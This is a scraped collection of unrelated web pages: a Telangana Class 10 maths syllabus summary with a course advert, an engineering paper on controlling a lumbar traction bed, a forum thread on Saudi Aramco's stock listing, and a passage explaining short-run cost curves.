In Ts Class 10 Mathematics, we look at mensuration, which is the process of determining the areas and volumes of geometric forms including triangles, quadrilaterals, circles, and solids, as well as
their properties such as area, length, volume, and surface area.
Defining Mensuration: Mensuration is a field of geometry concerned with quantifying the area, volume, and size of different forms and figures in both two and three dimensions (3D and 2D).
Shapes in Two(2D) and (3D) Three Dimensions:
Two categories of forms are encountered in the field of mensuration:
• 2D forms are flat shapes like squares, circles, triangles, and rectangles that only have length and breadth.
• 3D Three-dimensional forms have three dimensions: length, breadth, and height. Cones, spheres, cylinders, and cubes are a few examples.
Mensuration Formulas:
We examine a variety of formulae for calculating the characteristics of 2D and 3D shapes. These formulae assist us in determining areas, volumes, surface areas, and other characteristics required for
problem-solving with geometric forms.
For example:
Mensuration formulae may be used to compute the volume and surface area of a rectangular box with dimensions of 10 cm long, 5 cm wide, and 3 cm high.
Understanding mensuration gives us the tools we need to tackle real-world measuring and geometry issues, making it an important aspect of 10th-class mathematics.
If you want more information or examples, please continue reading! the following table!
Shape Parameter Formula
Square Area Area = side^2
Rectangle Area Area = length × width
Perimeter Perimeter = 2 × (length + width)
Triangle Area Area = 0.5 × base × height
Perimeter Perimeter = side[1] + side[2] + side[3]
Circle Area Area = π × radius^2
Circumference Circumference = 2 × π × radius
Moving on to our next topic, let’s look into the interesting area of trigonometry.
Unit-11 Trigonometry (TS Class 10 Mathematics Syllabus)
Introduction to Trigonometry:
The study of triangles and their relationships is known as trigonometry, and it is covered in this section. It concentrates on triangles with one 90-degree angle, or right-angled triangles.
Trigonometric functions, such as sine, cosine, and tangent, may be determined by analyzing side ratios. These functions are important in a variety of domains, including physics, engineering,
astronomy, and navigation.
Trigonometric Ratios: These ratios define the relationship between the angles and sides of a right triangle. The main trigonometric ratios are:
• Sine (sin): Opposite/Hypotenuse
• Cosine (cos): Adjacent/Hypotenuse
• Tangent (tan): Opposite/Adjacent
Pythagorean Identity: This fundamental identity relates the lengths of the sides of a right triangle: (sin2θ+cos2θ=1)
Trigonometry Formulas:
Throughout this unit, we’ll explore a range of trigonometric formulas and identities, including:
• Sine Rule
• Cosine Rule
• Area of a Triangle Using Trigonometry
• Angle of Elevation and Depression
• Trigonometric Identities
Unit 11 – Trigonometry
Unit 12 – Applications of Trigonometry
This section focuses on using trigonometry practically in everyday circumstances, such as measuring heights and distances. Trigonometry may be used to calculate heights, lengths, and distances with a
few particular techniques.
Here’s how it (Trigonometry Formulas) works:
Formula Explanation Example in Real Life
sin(θ)=opposite/ Ratio of the length of the opposite side to the hypotenuse in a right-angled Finding the height of a tree using the angle of elevation and distance from the base.
hypotenuse triangle.
cos(θ)=adjacent/ Ratio of the length of the adjacent side to the hypotenuse in a right-angled Calculating the distance from the base of a tower when the height and angle of elevation
hypotenuse triangle. are known.
tan(θ)=opposite/adjacent Ratio of the length of the opposite side to the adjacent side in a right-angled Determining the height of a building by knowing the distance from it and the angle of
triangle. elevation.
csc(θ)= 1/sin(θ) Reciprocal of sine. Used in specific calculations where sine values are small.
sec(θ)= 1/cos(θ) Reciprocal of cosine. Useful in certain engineering calculations.
cot(θ)= 1/tan(θ) Reciprocal of tangent. Often used in trigonometric simplifications.
sin2(θ)+cos2(θ)=1 Pythagorean identity. Verifying calculations in trigonometric problems.
tan(θ)=sin(θ)/cos(θ) Relationship between sine and cosine. Used in simplifying trigonometric expressions.
1. Path of Sight: Imagine drawing an imagined line from your eyes to the point you’re looking at on an object. That is the “line of sight.”
2. The angle of Altitude: When you stare up at anything above your eye level, the angle between your line of sight and the ground is referred to as the “angle of altitude.” You crane your head up to
view it.
3. Height of Depression: When you’re looking down at anything below eye level, the angle between your line of sight and the ground is known as the “length of depression.” You lean your head downward
to view it.
These concepts can in handy in everyday situations, such as determining the height of a structure or the distance between two objects.
Unit 13: Probability and Unit 14: Statistics
TS Class 10th Unit 13: Probability
This chapter addresses many probability ideas, both experimental and theoretical. RD Sharma’s answers offer well-curated thorough answers for Class 10 Maths Chapter 13 – Probability. Regular practice
improves academic performance and develops vital skills such as time management and problem-solving, both of which are critical for board exam success.
RD Sharma Solutions for TS Class 10 Mathematics Chapter 13
• Enhances academic performance and nurtures time management and problem-solving skills.
• Designed by Digital Teacher faculty for conceptual clarity.
• Solutions are accompanied by illustrative diagrams for better comprehension.
• Provides descriptive explanations in a simple, accessible manner.
Probability: Key Concepts and Formulas
Concept Explanation Probability Formula
Probability The measure of the likelihood that an event will occur. P(E)=Number of favorable outcomes /Total number of outcomes
Experiment An action or process that leads to one or more outcomes. –
Sample Space (S) The set of all possible outcomes of an experiment. –
Event (E) A subset of the sample space. It can have one or more outcomes. –
Complement of an Event ( 𝐸 ′ E ′ ) The set of all outcomes in the sample space that are not in event E. P(E′)=1−P(E)
Mutually Exclusive Events Two events that cannot occur at the same time. P(A∪B)=P(A)+P(B) if A and B are mutually exclusive
Conditional Probability The probability of an event occurring given that another event has already occurred. (P(A
Independent Events Two events that do not affect each other’s occurrence. P(A∩B)=P(A)⋅P(B) if A and B are independent
Addition Rule of Probability The probability that either event A or event B will occur. P(A∪B)=P(A)+P(B)−P(A∩B)
Multiplication Rule of Probability The probability that both events A and B will occur. ( P(A \cap B) = P(A) \cdot P(B
The above table method provides students such a clear and simple guide to help them understand and use important computations of probability and concepts in their classes.
Telangana TS Class 10 Mathematics Unit 14: Statistics
Statistics is important to students since it offers fundamental abilities for data analysis and interpretation, such as comprehending mean, median, mode, and standard deviation. These abilities are
essential for academic performance and real-life decision-making, creating prospects for success in academics and future undertakings.
Here’s How It (Statistics Formulas) Works:
Understanding Using (Statistics ): Statistics is a branch of mathematics that focuses on collecting, analyzing, interpreting, presenting, and organizing data. It is important for students as it
provides fundamental skills for data analysis and interpretation, including understanding mean, median, mode, and standard deviation.
In this unit, students will learn about various statistical measures and how to calculate them. The table below summarizes the key concepts and formulas covered in this unit, providing a valuable
reference for students.
Here’s How It (Statistics Formulas) Works: Table
Concept Explanation Statistics Formula
Mean (Average) The sum of all observations is divided by the Mean(x)=n∑x
number of observations.
Median The middle value is when observations are If 𝑛 n is odd: Median = Middle value Median=Middle value. If 𝑛 n is even: Median = Middle value 1 + Middle value 2 2 Median= Middle
arranged in ascending or descending order. value 1+Middle value 2 / 2
Mode The value that appears most frequently in a data –
Range The difference between the highest and lowest Range=Maximum value−Minimum value
Class Interval A group of values within which a data point falls –
in a frequency distribution table.
Frequency The number of times a particular value or class –
interval occurs.
Class Mark The middle value of a class interval. Class Mark= Lower class limit+Upper class limit / 2
Mean for The average of data grouped in class intervals. x=∑fi/∑fixi where 𝑓 𝑖 f i is the frequency and 𝑥 𝑖 x i is the class mark
Grouped Data
Median for The median of data is grouped in class intervals. Median=L+(2n−CF/f ×h where 𝐿 L = lower boundary of median class, 𝑛 n = total frequency, 𝐶 𝐹 CF = cumulative frequency of class
Grouped Data before median class, 𝑓 f = frequency of median class, ℎ h = class width
Mode for The mode of data is grouped in class intervals. Mode=L+ (f1−f0/2f1−f0-f2)×h where 𝐿 L = lower boundary of modal class, 𝑓 1 f 1 = frequency of modal class, 𝑓 0 f 0 = frequency
Grouped Data of class before modal class, 𝑓 2 f 2 = frequency of class after modal class, ℎ h = class width
The above Statistics Formula Table will help students understand and use the statistical formulas by providing information for the table.
Imagine you’re playing a game where you roll a fair six-sided die. The probability of rolling a “4” is 1/6. This means that out of all the possible outcomes (1, 2, 3, 4, 5, or 6), there’s a 1 in 6
chance of rolling a “4.”
Please do comment! if you want any further explanation or examples!
Digital Teacher Canvas – Online Learning Platform for Students
Are you a student searching for engaging animated video content and the Telangana TS Board 10th Class Mathematics syllabus at an affordable price? There is no better location to look! Subscribe to
“Digital Teacher Canvas” – Online Learning Platform! just 1949/- rupees.
Yes, you may now have access to premium educational videos for a lower cost than they were originally priced at 2449/-. With the help of our material, which includes voice narration, animations,
graphics, videos, and more, students may improve their understanding of several kinds of subjects.
Digital Teacher Canvas enables students by providing flexible learning alternatives that allow them to access digital information at any time, from any location, on any device.
Ts Class 10 Mathematics Textbook Syllabus With Animated Video Content
Start today with a free sample of the first unit before subscribing. Visit our website at https://canvas.digitalteacher.in or get the “Digital Teacher Canvas App” from the Google Play store: https://
For the TS Class 10 Mathematics Textbook: Complete Syllabus, including video tutorials and downloadable PDF, please visit Telangana SCERT official website.
Comment here
Related tags : | {"url":"https://www.digitalteacher.in/blog/ts-class-10-mathematics-textbook-complete-syllabus-with-video-and-pdf/","timestamp":"2024-11-10T04:44:10Z","content_type":"text/html","content_length":"93043","record_id":"<urn:uuid:1a93f0ad-29ee-4ce3-b09e-a29a1c934aea>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00479.warc.gz"} |
Control system design of multi-dimensional lumbar traction treatment bed
A multi-dimensional lumbar traction treatment bed is designed with two degrees of freedom, which can realize controllable traction treatment of lumbar through flexion, extension and rotation motion.
Two linear actuators are used to provide motion. Building a mathematical model of the device by least squares identification. PID controller and Kalman filter constitute two groups of control modes:
(i) speed control; (ii) position control. Using MATLAB to perform simulation experiments. The results show that the designed controller can achieve high control accuracy. The motion speed of lumbar
platform is stable and the position of traction treatment set by user is approached exactly, which ensuring the security and stability of this device.
1. Introduction
Sedentary and sports injuries in modern people are leading to a younger lumbar disease trend [1]. In addition to the elderly, teenagers under the age of 18 also have a risk of disease [2].
Non-surgical treatments are thought to achieve effective therapeutic effects in the early stages of the illness. Traction is a common method of conservative treatment for lumbar disease. Several
studies show that the swing traction therapy facilitated the patient's improvement in pain and relieve the lumbar disease [3-5]. What's more, the effect of multi-directional traction is probably
superior to that of longitudinal traction in improving the symptoms and clinical findings of patients with lumbar disc herniation [6].
Compared with surgical treatment, traction therapy won't destroy the intervertebral disc. The risk of this method is much lower. Therefore, most patients will prefer such conservative treatment. Many
medical device companies have committed to the study of traction beds. Lojer from Finland has designed Manuthera 242 [7]. This device use the traction, flexion, lateral flexion and rotation of table
to treat the key positions of patient. However, Manuthera 242 is purely manual. Hill Laboratories has produced AIRFLEX [8], which can provide both manual and motorized flexion. But this kind of
production can only realize limited freedom. None of the above devices have achieved precise control of traction speed and position.
The multi-dimensional lumbar traction treatment bed presented in this paper has two degrees of freedom, which can realize controllable traction treatment of lumbar through flexion, extension and
rotation motion. Six-axis motion attitude sensor is used to evaluate the speed and position of lumbar platform. The position controller allows the platform to reach the set position stably and
safely. Speed controller keeps the platform speed near the set speed during steady motion.
2. Design
The design goal of the lumbar traction treatment bed is to provide controlled motion in selected spine portions. In order to achieve the above functions, this device includes a buckling and extending
component and a rotating component as shown in Fig. 1. Both components use linear actuator as the active member to form a linkage mechanism which provides controlled motion of lumbar platform. The
linear actuator has a peak speed of 20 mm/s. The stroke length is 100 mm. A six-axis motion attitude sensor is placed below the platform which is used to feedback the current position and speed. The
speed and position signal is sent to the control borad. The motor of linear actuator is driven at 24 V using a 20 kHz PWM signal through driver.
Fig. 13-D model of traction treatment bed
Fig. 2Parameterization of platform without mattress
3. Modeling
3.1. Motion model
As shown in Fig. 2, the device implements flexion, extension and rotation motion trough two crank-and-slide mechanisms in series. When the patient is lying down, the $x$ axis is the coronal axis and
the $y$ axis is the vertical axis. The subscript $b$ indicates the buckling and extending component with swing around $x$. The subscript r indicates the rotating component which swing around $y$. $
{l}_{1}$ is the distance between the rotating joint of platform and the bottom mounting position of linear actuator. ${l}_{2}$ is the distance between the rotating joint of platform and the top
mounting position of linear actuator. $l$ the current length of linear actuator. $\theta$ is the current position of platform. $\omega$ is the current speed of platform.
For current length $l$:
where ${l}_{c}$ means the initial installation distance of linear actuator. $s$ means the current stroke of linear actuator.
From the triangle cosine theorem, there are:
$\theta =\frac{{{l}_{1}}^{2}+{{l}_{2}}^{2}-{l}^{2}}{2{l}_{1}{l}_{2}}-{\theta }_{0},$
where ${l}_{1}$, ${l}_{2}$ are constants. ${\theta }_{0}$ is the initial angle of platform in the horizontal position.
Eq. (2) derives the time. Obtain the platform angular velocity $\omega$:
$\omega =\frac{d\theta }{dt}=\frac{l}{{l}_{1}{l}_{2}\mathrm{sin}\theta }\bullet \frac{dl}{dt}.$
In order to make the traction motion smooth, the angular velocity $\omega$ of platform should be kept as constant as possible to improve patient comfort.
3.2. System model of the linear actuator
The principle of a linear actuator is that after DC motor is geared down, the screw nut converts the motor rotational motion into the linear motion. It is known that the transfer function between DC
motor speed and voltage.:
where ${C}_{e}$ is the motor potential coefficient. ${T}_{m}$ is the mechanical time constant. ${T}_{a}$ is the electrical time constant. From Eq. (4) and the formula of linear actuator, it can be
deduced that the transfer function between the speed and voltage of linear actuator is:
$G\left(s\right)=\frac{V\left(s\right)}{U\left(s\right)}=\frac{V\left(s\right)}{N\left(s\right)}\bullet \frac{N\left(s\right)}{U\left(s\right)}=\frac{{P}_{s}}{{Q}_{s}}\bullet \frac{1/{C}_{e}}{{T}_{m}
where ${P}_{s}$ is the screw lead and ${Q}_{s}$ is the gear reduction ratio. Deduced from Eq. (5), the transfer function between the linear actuator stroke and the voltage is:
$\frac{X\left(s\right)}{U\left(s\right)}=\frac{V\left(s\right)}{U\left(s\right)}\bullet \frac{1}{s}=\frac{{P}_{s}}{{Q}_{s}}\bullet \frac{1/{C}_{e}}{{T}_{m}{T}_{a}{s}^{2}+{T}_{m}s+1}\bullet \frac{1}
When building a system model, the traditional method is to calculate the specific parameters using empirical formulas. However, the transfer function obtained through this method will course a large
error. Therefore, the direct identification method [9] is used to estimate the transfer function parameters. The transfer function of linear actuators is second-order no-lag according to Eq. (5). The
model is:
$G\left(s\right)=\frac{K}{{\left(T}_{1}s+1\right)\bullet {\left(T}_{2}s+1\right)}=\frac{K}{{T}_{1}{T}_{2}{s}^{2}+{\left(T}_{1}+{T}_{2}\right)s+1}.$
Since ${T}_{a}\ll {T}_{m}$, approximate ${T}_{a}+{T}_{m}\approx {T}_{m}$. The problem translates into solving ${T}_{1}$, ${T}_{2}$ and $K$. Add 10 V, 14 V, 18 V, 22 V step voltage to the linear
actuators. The Hall sensor is used to obtain the speed of the linear actuators. The speed in 0-5s is sampled at a sampling frequency of 100 Hz. 500 points were totally sampled. Using least squares
method to identify the transfer function. Obtain that ${T}_{a}=$ 0.0052, ${T}_{m}=$ 0.0237, $K=$ 0.8913. Simulating the speed-time curve by using Matlab. Fig. 3. Since the simulation results are
similar to the sample data, the transfer function is accurate.
Fig. 3Step response curve of linear actuator based on direct identification
4. Controller
The control system designed in this paper implements two control modes: (i) speed control; (ii) position control. A six-axis motion attitude sensor is used to detect the current position and speed of
platform. PID controller features short transients and high stability. Both control modes designed in this paper use PID control.
4.1. Speed control
The control structure of speed control is shown in Fig. 4. Speed control is enabled when the platform accelerates to the set speed ${\omega }_{c}$. The error is the difference between set speed ${\
omega }_{c}$ and actual speed $\omega$. These errors are caused by external disturbances of the driver and measurement noise of the sensor. To obtain an accurate speed signal, the Kalman filter is
used before feedback. The PID controller generates a PWM signal which drives the linear actuator and adjusts the controller gain. The formula of PID model is:
$u\left(t\right)={K}_{p}\left[e\left(t\right)+\frac{1}{{T}_{i}}{\int }_{0}^{t}e\left(t\right)dt+{T}_{d}\frac{de\left(t\right)}{dt}\right].$
4.2. Position control
The control structure of speed control is shown in Fig. 5. Position control is used during the acceleration phase and deceleration phase. The set position of platform is ${\theta }_{c}$, and the
current position is $\theta$. At the start-up phase, position control is used to acceleration stability. Disable the position control and enable the speed control when the set speed ${\omega }_{c}$
is reached. When it’s 1° away from the distance setting position ${\theta }_{c}$, disable the speed control and enable the position control. Slow down the platform until set position ${\theta }_{c}$
is reached.
Fig. 4The PID control structure for speed control
Fig. 5The PID control structure for position control
5. Simulation
Taking the extension motion as an example, the motion of one period $T$ is: Firstly, the linear actuator in the buckling and extending component is pushed out to swing the platform upward. When the
setting position ${\theta }_{c}$ is reached, the linear actuator is driven to contract. The platform swing downward until return to the initial position.
For experiment, the limit position of platform ${\theta }_{c}$ is set to +18°, and the angular velocity ${\omega }_{c}$ is set to ±5°/s. An experimental system was built in Matlab using the
mathematical model described in Section 3. Adjust the PID parameters to obtain the experimental results are shown in Fig. 6.
Thereafter, introducing Gaussian white noise into the controller and sensor. Obtain position-time curve and speed-time curve of platform without using the Kalman filter as shown in Fig. 7. Finally,
the Kalman filter is added. Adjust the parameters of Kalman filter to obtain the experimental results under this condition which shown in Fig. 8.
Fig. 6Simulation results in ideal status
Fig. 7Simulation results without Kalman filter
a) Position-time curve of platform
b) Speed-time curve of platform
Fig. 8Simulation results with Kalman filter
a) Position-time curve of platform
b) Speed-time curve of platform
6. Analysis of experimental results
Analyze the error of experimental results. As shown in Table 1, using the Kalman filter can significantly improve the accuracy of speed control. Speed error reduced from 0.063 % to 0.037 %. For
position control, the actual limit position is more approach to set position after using Kalman filter. What's more, the position-time curve is smoother.
Thereafter, simulation experiment of flexion, clockwise rotation and counter-clockwise rotation is performed. The error of each group of motion is shown in Table 2. Analyze Table 1 and Table 2. The
designed controller can achieve high control accuracy. The motion speed of platform is stable and the position of traction treatment set by user is approached exactly.
Table 1The error of platform in extension motion
Experimental condition The limit 𝜃 of platform (°) Error of 𝜃 (%) 𝜔 of platform (°/s) Error of 𝜔 (%)
Without Kalman filter 17.998 0.011 5±0.317 0.063
With Kalman filter 17.999 0.006 5±0.184 0.037
Table 2The error of platform in other three motion
Motion The limit 𝜃 of platform (°) Error of 𝜃 (%) 𝜔 of platform (°/s) Error of 𝜔 (%)
Flexion 17.999 0.006 5±0.208 0.042
Clockwise rotation 17.999 0.006 5±0.253 0.051
Counter-clockwise rotation 17.999 0.006 5±0.172 0.034
7. Conclusions
This paper presents a multi-dimensional lumbar traction treatment bed which provides flexion, extension, clockwise rotation and counter-clockwise rotation motion. Each treatment motion is
controllable. Two linear actuators are used to provide motion. PID controller and Kalman filter constitute two groups of control modes: (i) speed control; (ii) position control. The simulation
experiments are based on the mathematical model of this device. Experimental results show that the designed controller has good performance and achieve precise control, which ensuring the safety and
stability of this device. In further studies, the efficacy of the device in actual spinal diseases should be tested.
• Klang E., et al. Prevalence and awareness of sacroiliac joint alterations on lumbar spine CT in low back pain patients younger than 40 years. Acta Radiologica, Vol. 58, Issue 4, 2016, p. 449-455.
• Durham S. R., Sun P. P., Sutton L. N. Surgically treated lumbar disc disease in the pediatric population: an outcome study. Journal of Neurosurgery: Spine, Vol. 92, Issue 1, 2000, p. 1-6.
• Pin X., et al. Biomechanical effects of different traction modes on lumbar spine. Journal of Medical Biomechanics, Vol. 29, Issue 5, 2014, p. 399-404.
• Gagne A. R., Hasson S. M. Lumbar extension exercises in conjunction with mechanical traction for the management of a patient with a lumbar herniated disc. Physiotherapy Theory and Practice, Vol.
26, Issue 4, 2010, p. 256-266.
• Kim H. S., Yun D. H., Huh K. Y. Effect of spinal decompression therapy compared with intermittent mechanical traction in lumbosacral disc herniation. Annals of Rehabilitation Medicine, Vol. 32,
Issue 3, 2008, p. 319-323.
• Zhang Y., Yue S., Yue Y. A comparison between multi-directional mechanical traction and longitudinal traction for treatment of lumbar disc herniation: A randomized clinical trial with
parallel-group design. Chinese Journal of Rehabilitation Medicine, Vol. 26, Issue 7, 2011, p. 638-643.
• Manuthera 242 Mobilisation Table. Lojer, http://www.lojer.com/product/manuthera-242-mobilisation-table
• Hill AIRFLEX II Flexion & Distraction Table. Hill Laboratories, https://hilllabs.com/chiropractic/Hill-Air-Flex-Table.php.
• Zhou R. X., Zhang Z., Qi Y. C. Direct identification of DC electromotor model parameter. Computer Simulation, Vol. 23, Issue 6, 2006, p. 31-33.
About this article
Biomechanics and biomedical engineering
lumbar traction treatment
least squares identification
PID control
Kalman filter
Copyright © 2019 Yanying Luo, et al.
This is an open access article distributed under the
Creative Commons Attribution License
, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. | {"url":"https://www.extrica.com/article/20923","timestamp":"2024-11-03T16:55:42Z","content_type":"text/html","content_length":"121312","record_id":"<urn:uuid:c3c0fce7-7b64-4e71-8545-bfec47db9b6f>","cc-path":"CC-MAIN-2024-46/segments/1730477027779.22/warc/CC-MAIN-20241103145859-20241103175859-00746.warc.gz"} |
London dragging its feet on Aramco listing rules
Just saw that London regulators have delayed changing the rules to allow Aramco to be listed on the London Stock Exchange. Wonder what that means for the IPO?
Seleskya + 50
Saw that, too. Not sure what it means because they were supposed to have these new rules by the end of 2017 ...Â
LAOIL + 33
Seleskya + 50
For starters, they need to create a new category for premium listings for companies that are controlled by states (sovereign powers).Â
Kate Turlington + 44
But didn't they choose to list in NYSE rather than London for the very reason that NYSE relaxed their rules to accommodate them. This suggests NYSE is well able to be flexible if the money's right.
I believe that also Aramco will require shareholders to forgo their right to sue the company if they do something wrong, or even if they have not truthfully reported their past activities.
The stock exchange is breaking its own rules about the minimum percentage of a company's shares being publicly traded. This will distort all the mutual funds which have exposure to the index. It
means pension funds are not as secure.
Marina Schwarz + 1,576
They wouldn't list on NYSE for legal, or rather litigation-possibility, reasons and now that the FCA and the LSE are squirming, Hong Kong may become more attractive. I find the whole affair quite
amusing and I'm glad to see some legislators in the UKÂ are doing their job.
Carlsbad + 19
The way I see it, Salman is advocating listing the IPO on the New York Stock Exchange, especially as his relationship with the White House deepens. However, most Saudi officials seem to prefer using
the London Stock Exchange because  London would bring less scrutiny of the company's oil reserves than its U.S. counterpart would.
23 hours ago, Stephen said:
Tweet policy again. Don't we have someone that might make a deal behind closed doors with them? And negotiate?
Kate Turlington + 44
Here is good analysis on the issue
Trump has stuck us with the wrong Arabs and supported a illegitimate blockade against Qatar. That gold medal and $100 million dollars from the Saudis are paying off
10 minutes ago, Joanna said:
The way I see it, Salman is advocating listing the IPO on the New York Stock Exchange, especially as his relationship with the White House deepens. However, most Saudi officials seem to prefer
using the London Stock Exchange because  London would bring less scrutiny of the company's oil reserves than its U.S. counterpart would.
In order to list on the NYSE, Aramco would be subject to investor protecting, reporting requirements that might leave them vulnerable to lawsuits in the US. MBSÂ wouldn't tolerate such insolence.
On 1/2/2018 at 1:37 PM, Kate Turlington said:
Just saw that London regulators have delayed changing the rules to allow Aramco to be listed on the London Stock Exchange. Wonder what that means for the IPO?
This is Brexit UK. Deal first - ethics later.
8 minutes ago, JohnAtronis said:
This is Brexit UK. Deal first - ethics later.
Brexit? Do you really think other European nations are not out there too fishing?
Meanwhile + 49
On 1/2/2018 at 1:37 PM, Kate Turlington said:
Just saw that London regulators have delayed changing the rules to allow Aramco to be listed on the London Stock Exchange. Wonder what that means for the IPO?
Why are Saudi's doing this I will never know. Their country only stays afloat because of oil revenue and putting that revenue into foreign "investors" isn't going to do that. Maybe is a part of
strategy to shift from oil?
6 minutes ago, Meanwhile said:
Why are Saudi's doing this I will never know. Their country only stays afloat because of oil revenue and putting that revenue into foreign "investors" isn't going to do that. Maybe is a part of
strategy to shift from oil?
The Saudi cash is beginning to run out, the next 5 years are going to bring some interesting developments in the region.Â
Take oil away from the ME and it's 250 Million inhabitants have a total GDP less than that of Finland | {"url":"https://community.oilprice.com/topic/392-london-dragging-its-feet-on-aramco-listing-rules/","timestamp":"2024-11-01T20:30:17Z","content_type":"text/html","content_length":"462444","record_id":"<urn:uuid:324f0bd7-fe27-4ba0-8280-eceada317a48>","cc-path":"CC-MAIN-2024-46/segments/1730477027552.27/warc/CC-MAIN-20241101184224-20241101214224-00087.warc.gz"} |
RXXGate (v0.45) | IBM Quantum Documentation
class qiskit.circuit.library.RXXGate(theta, label=None, *, duration=None, unit='dt')
Bases: Gate
A parametric 2-qubit $X \otimes X$ interaction (rotation about XX).
This gate is symmetric, and is maximally entangling at $\theta = \pi/2$.
Can be applied to a QuantumCircuit with the rxx() method.
Circuit Symbol:
q_0: ┤1 ├
│ Rxx(ϴ) │
q_1: ┤0 ├
Matrix Representation:
$\providecommand{\rotationangle}{\frac{\theta}{2}} R_{XX}(\theta) = \exp\left(-i \rotationangle X{\otimes}X\right) = \begin{pmatrix} \cos\left(\rotationangle\right) & 0 & 0 & -i\sin\left(\
rotationangle\right) \\ 0 & \cos\left(\rotationangle\right) & -i\sin\left(\rotationangle\right) & 0 \\ 0 & -i\sin\left(\rotationangle\right) & \cos\left(\rotationangle\right) & 0 \\ -i\sin\left(\
rotationangle\right) & 0 & 0 & \cos\left(\rotationangle\right) \end{pmatrix}$
$R_{XX}(\theta = 0) = I$ $R_{XX}(\theta = \pi) = i X \otimes X$ $R_{XX}\left(\theta = \frac{\pi}{2}\right) = \frac{1}{\sqrt{2}} \begin{pmatrix} 1 & 0 & 0 & -i \\ 0 & 1 & -i & 0 \\ 0 & -i & 1 & 0
\\ -i & 0 & 0 & 1 \end{pmatrix}$
Create new RXX gate.
Get the base class of this instruction. This is guaranteed to be in the inheritance tree of self.
The “base class” of an instruction is the lowest class in its inheritance tree that the object should be considered entirely compatible with for _all_ circuit applications. This typically means that
the subclass is defined purely to offer some sort of programmer convenience over the base class, and the base class is the “true” class for a behavioural perspective. In particular, you should not
override base_class if you are defining a custom version of an instruction that will be implemented differently by hardware, such as an alternative measurement strategy, or a version of a
parametrised gate with a particular set of parameters for the purposes of distinguishing it in a Target from the full parametrised gate.
This is often exactly equivalent to type(obj), except in the case of singleton instances of standard-library instructions. These singleton instances are special subclasses of their base class, and
this property will return that base. For example:
>>> isinstance(XGate(), XGate)
>>> type(XGate()) is XGate
>>> XGate().base_class is XGate
In general, you should not rely on the precise class of an instruction; within a given circuit, it is expected that Instruction.name should be a more suitable discriminator in most situations.
The classical condition on the instruction.
Get the decompositions of the instruction from the SessionEquivalenceLibrary.
Return definition in terms of other basic gates.
Is this instance is a mutable unique instance or not.
If this attribute is False the gate instance is a shared singleton and is not mutable.
Return the number of clbits.
Return the number of qubits.
return instruction params.
Get the time unit of duration.
Return inverse RXX gate (i.e. with the negative rotation angle).
Raise gate to a power. | {"url":"https://docs.quantum.ibm.com/api/qiskit/0.45/qiskit.circuit.library.RXXGate","timestamp":"2024-11-08T22:17:09Z","content_type":"text/html","content_length":"283118","record_id":"<urn:uuid:a4a19213-3423-4cf3-a42a-1114944c0aee>","cc-path":"CC-MAIN-2024-46/segments/1730477028079.98/warc/CC-MAIN-20241108200128-20241108230128-00145.warc.gz"} |
Lesson 15
• Let’s describe some symmetries of shapes.
Problem 1
For each figure, identify any lines of symmetry the figure has.
Problem 2
In quadrilateral \(BADC\), \(AB=AD\) and \(BC=DC\). The line \(AC\) is a line of symmetry for this quadrilateral.
1. Based on the line of symmetry, explain why the diagonals \(AC\) and \(BD\) are perpendicular.
2. Based on the line of symmetry, explain why angles \(ABC\) and \(ADC\) have the same measure.
Problem 3
Three line segments form the letter Z. Rotate the letter Z counterclockwise around the midpoint of segment \(BC\) by 180 degrees. Describe the result.
(From Unit 1, Lesson 14.)
Problem 4
There is a square, \(ABCS\), inscribed in a circle with center \(D\). What is the smallest angle we can rotate around \(D\) so that the image of \(A\) is \(B\)?
(From Unit 1, Lesson 14.)
Problem 5
Points \(A\), \(B\), \(C\), and \(D\) are vertices of a square. Point \(E\) is inside the square. Explain how to tell whether point \(E\) is closer to \(A\), \(B\), \(C\), or \(D\).
(From Unit 1, Lesson 9.)
Problem 6
Lines \(\ell\) and \(m\) are perpendicular.
Sometimes reflecting a point over \(m\) has the same effect as rotating the point 180 degrees using center \(P\). Select all labeled points which have the same image for both transformations.
(From Unit 1, Lesson 11.)
Problem 7
Here is triangle \(POG\). Match the description of the rotation with the image of \(POG\) under that rotation.
(From Unit 1, Lesson 13.) | {"url":"https://im.kendallhunt.com/HS/students/2/1/15/practice.html","timestamp":"2024-11-13T19:02:32Z","content_type":"text/html","content_length":"104263","record_id":"<urn:uuid:6239a3ee-312c-4d36-ac65-5229932c4071>","cc-path":"CC-MAIN-2024-46/segments/1730477028387.69/warc/CC-MAIN-20241113171551-20241113201551-00035.warc.gz"} |
Traditional theory distinguishes between the short run and the long run. The short run is the period during which some factors is fixed; usually capital equipment and entrepreneurship are considered
as fixed in the short run.
The long run is the period over which all factors become variable.
According to the traditional theory of the costs, the costs are divided into three types:
• Total Cost
• Average Cost
• Marginal Cost
Total cost is the total expenditure incurred by a firm during the production process. Total cost will change with the change in the ratio of output to input. Such changes may be the result of the
changes in the efficiency of conversion process or changes in the prices of inputs. Total cost is a positively sloped curve.
Total cost to a producer for the various levels of output is the sum of total fixed cost and total variable cost, i.e.,
TC = TFC + TVC.
TOTAL FIXED COST: Total fixed costs refer to those costs which are unable to vary. For example: land, buildings, machinery etc. Even the output is zero fixed costs will be there. Because, this cannot
be variable with respect to the level of production. So, it is also called invariable cost. Since fixed costs are fixed or rigid it can be represented through a curve having horizontal shape to
output axis. This can be shown with the help of following diagram:
TOTAL VARIABLE COST: Variable cost is incurred on the employment of variable factors like raw materials, direct labour, power, fuel, transportation, sales commission, depreciation charges associated
with wear and tear of assets, etc. It varies directly with output.The curve of variable cost can be shown as follows:
From the curves of fixed cost and variable costs, the total cost can be derived as follows:
Average total cost is the sum of the average fixed cost and average variable cost. Alternatively, ATC is computed by dividing total cost by the number of units of output.
ATC or AC = AFC + AVC
Average cost is also known as unit cost, as it is cost per unit of output produced. It can be shown as follows:
Average cost is inclusive of Average Fixed Cost and Average Variable Cost.
AVERAGE FIXED COST: AFC is the average of total fixed costs. AFC can be obtaining by dividing the total fixed cost by total quantity of output each time produced. Mathematically,
AFC = TFC /quantity
TFC will be always fixed. So AFC will reduce and never reaches zero. Its curve is as follows:
AVERAGE VARIABLE COST: AVC is the average of total variable cost. It can be find out by using the following formula.
AVC = TFC / quantity
AVC curve will be a ‘U’ shaped which is showing that when the output is raises the cost will decline, but after a certain level the cost starts to increases. That is why due to the variable
WHY AC IS U SHAPED?
In the short-run average cost curves are of U-shape. It means, initially it falls and after reaching the minimum point it starts rising upwards. It can be on account of the following reasons:
